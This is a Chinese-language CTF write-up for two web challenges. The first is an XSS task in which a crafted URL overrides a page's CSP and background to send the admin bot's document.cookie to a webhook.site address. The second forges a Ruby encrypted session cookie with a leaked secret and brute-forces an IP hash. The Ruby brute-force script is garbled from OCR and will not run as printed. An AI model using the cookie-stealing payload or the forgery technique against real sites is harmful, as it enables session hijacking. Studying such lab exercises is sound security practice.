eXtra Safe Security layers

道题的考点是 xss和nodejs代码审计

首先他给了一个压缩包,是题目的源码

image-20230606153236064

然后我们来进行分析

关键点在这

image-20230606153335616

就是这里可以进行重新修改res.user的值

image-20230606153431868

然后res.user的结构是这样的那么我们就可以修改

unmodifiable.background和一个 unmodifiable.CSP属性

image-20230606153555797

然后又返回到这里,如果res.user.unmodifiable.CSP不为空的话就返回它,如果为空就返回defaultCSP

讲了这么多,最关键的地方来了

image-20230606153804851

这里的话会对我们的unmodifiable.background进行渲染并且加载

结合之前我们知道的可以对 unmodifiable.background和一个 unmodifiable.CSP属性进行修改,然后左上角report一下,让机器人去访问这个页面,就可以拿到这个admin页面的cookie了

  • payload

http://xssl.web.jctf.pro/?text=hi&[unmodifiable][CSP]=a&[unmodifiable][background]=https://webhook.site/f202667e-9179-425d-80c1-fd62da5915d4?${document.cookie}

(国外的题目最好用这种接收http返回信息的网站,用国内vps的话会接收不到)

在这种情况下,这会将 document.cookie 发送到上面的 webhook。现在我们只需使用“报告为不当”按钮进行报告,服务器机器人就会访问此链接。机器人将通过 webhook 将 cookie 发送给我们:

image-20230606154247092

成功加载我们构造的background,然后report让机器人去访问

image-20230606154332347

image-20230606154344800

拿到flag

Dangerous(ruby)

wp讲解

这道题是考察ruby的 cookie伪造 和ip伪造

就是通过题目代码给的构造cookieip的模板,然后根据这个模板重新构造cookieip

image-20230606163847914

题目还是先给了一个文件,让我们来审计代码

首先我们来看一下这个获取flag的要求

image-20230606164057404

这里话是判断usernameip满不满足条件,满足的话就会返回flag

image-20230606164333686

然后看这里的前端代码 这里的reply是下面的样子,

image-20230606164427160

image-20230606164534853

和上述页面对应上了

这就是这个页面返回的结果 (并且还返回了admin的用户名)

但是我们得进行session的伪造,以为现在的session.user并不是janitor

image-20230606165011293

点进去这个new thread的时候会返回一堆信息

image-20230606165116320

这里返回了一个最关键的信息就是cookie是咋样生成的,并且还给了生成cookie的secret

然后我们就可以进行伪造了

:coder=>#<Rack::Protection::EncryptedCookie::Marshal:0x00007ff401b9a530>}根据这个模板来进行

1
2
3
4
5
6
7
8
9
10
11
require 'sinatra'
require 'encrypted_cookie'

use Rack::Protection::EncryptedCookie,
:secret => 'a9316e61bc75029d52f915823d7bb628a4adae8b174bce89fd38ec4c7fb925a07e2ccbc01572b9fdce56502ef5d02609e5194a5ddd649ff349a206002e96a99d'


get '/' do
session[:username] = 'janitor'
"session: " + session.inspect + request.ip
end

然后把cookie进行传参,就可以绕过第一个检测了

接下来我们就得看看ip怎么进行伪造了

image-20230606173836307

就是这里的会对ip和id相加后进行加密后,然后截取

image-20230606173937628

image-20230606173951264

然后写个脚本来对这个ip进行破解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
require "digest"
for d in 0..255 do
puts d
for c in 0..255 do
for b in @..255 do
for a in 0..255 do
if Digest::SHA256.hexdigestd.to 5+"."+c.to s+"."+b.to 5+"." + a.to 5 + "1").slice(0, 6) == "32cae2"
if Digest::SHA256.hexdigest(d.to 5+"."+.to s+"."+b.to 5+"." + a.to 5 + "2").slice(0, 6) == "92e1e8'
puts d.to s+"."+c.to s+"."+b.to s+"."+ a.to s
end
end
end
end
end
end
end

puts "finished"

然后提交之后就会返回flag